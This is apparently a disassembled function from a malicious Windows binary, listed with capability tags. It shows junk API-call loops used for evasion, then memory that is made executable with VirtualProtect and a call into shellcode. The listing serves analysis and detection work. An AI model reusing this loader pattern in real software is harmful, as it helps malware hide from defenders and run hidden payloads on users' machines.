Function at 0x809770
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x80ca26
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2868
call fcn.0040df90
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e308
jge 0x8097be
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a5e4e
jle 0x8097da
cmp dword [esp + 0x14], 0xbf1ed8
je 0x8097da
cmp dword [esp + 0x3c], 0x9175f68
jne 0x8097e3
inc esi
cmp esi, 0x98a00
jl 0x8097b0
cmp dword [0x2975aa4], 0xcf8
jne 0x8098e6
push edi
push edi
push edi
call fcn.0040555b
add esp, 0xc
push 0x4035c0
push edi
call fcn.0040555b
push edi
push edi
push edi
push edi
call fcn.00405218
push edi
call fcn.00405520
add esp, 0x1c
push edi
call fcn.004050dd
add esp, 4
push edi
call fcn.00405550
add esp, 4
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x2884], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x809856
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x809870
push 0x403ae4
call fcn.00404a9b
cmp esi, 0xf
jbe 0x809883
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.00404880
jmp 0x809890
cmp esi, edi
jne 0x809892
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x8098cd
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x8098ac
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040c140
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x8098c9
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x8098e0
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00405618
add esp, 4
push edi
call fcn.004054ce
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPages]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x809913
mov eax, 0x5d1
add dword [0x2975aa4], eax
cmp dword [0x2975aa4], 3
jne 0x809937
push 0
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push 0
call ebx
push 0
lea ecx, [esp + 0x7c]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x809900
mov edx, dword [0x2975aa4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x82b834], eax
mov eax, dword [0x2975aa4]
xor esi, esi
test eax, eax
je 0x8099d1
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExA]
cmp eax, 0xfe
jne 0x80999a
push 0
call ebx
call ebp
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x1084]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
call fcn.00809480
mov eax, dword [0x2975aa4]
cmp eax, 0x29
jne 0x8099cc
lea edx, [esp + 0x1c]
push edx
push 0
push 0x4035d0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x2975aa4]
inc esi
cmp esi, eax
jb 0x809971
cmp eax, 0x70
jne 0x809acf
push 0x403638
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x403678
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x4036b8
push 0
push 0x403728
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea eax, [esp + 0x1078]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x87c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0x40377c
push 0x403798
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0x4037f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea eax, [esp + 0x1880]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0x7c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call ebx
push 0x403830
push 0x403920
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x403958
call esi
mov eax, dword [0x2975aa4]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov dword [esp + 0x14], 0x9682ab
nop
cmp eax, 3
jne 0x809b20
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x1884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea ecx, [esp + 0x78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x2975aa4]
cmp eax, 0xdf
jne 0x809c2b
push 0
lea edx, [esp + 0x107c]
push edx
push 0
call esi
lea eax, [esp + 0x1c]
push eax
push 0x403980
push 0
call edi
xor eax, eax
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call ebp
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x1880]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0x403a00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403a78
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x87c]
push edx
push 0x403a80
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x38]
push 0
push edx
mov dword [esp + 0x3c], 0
call fcn.0040b550
add esp, 0xc
push 0
lea eax, [esp + 0x34]
push eax
push 0x403ac4
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x2975aa4]
dec dword [esp + 0x14]
jne 0x809af0
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea esp, [esp]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x809c50
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x2975aa4], 0x222
jne 0x809c80
push 0
call esi
dec edi
jne 0x809c70
mov edx, dword [0x2975aa4]
mov eax, dword [0x82b834]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
mov byte [0x826aa0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00809720
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x2975aa4], ebx
jne 0x809ccb
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x809cdd
add dword [0x82b834], 0
inc esi
cmp esi, 0x1605a
jl 0x809cb6
call fcn.008096c0
cmp dword [0x2975aa4], 0xc30
jne 0x809da8
lea edx, [esp + 0x1878]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x78]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea ecx, [esp + 0x207c]
push ecx
push 0
push 0x403ad0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x107c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x287c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret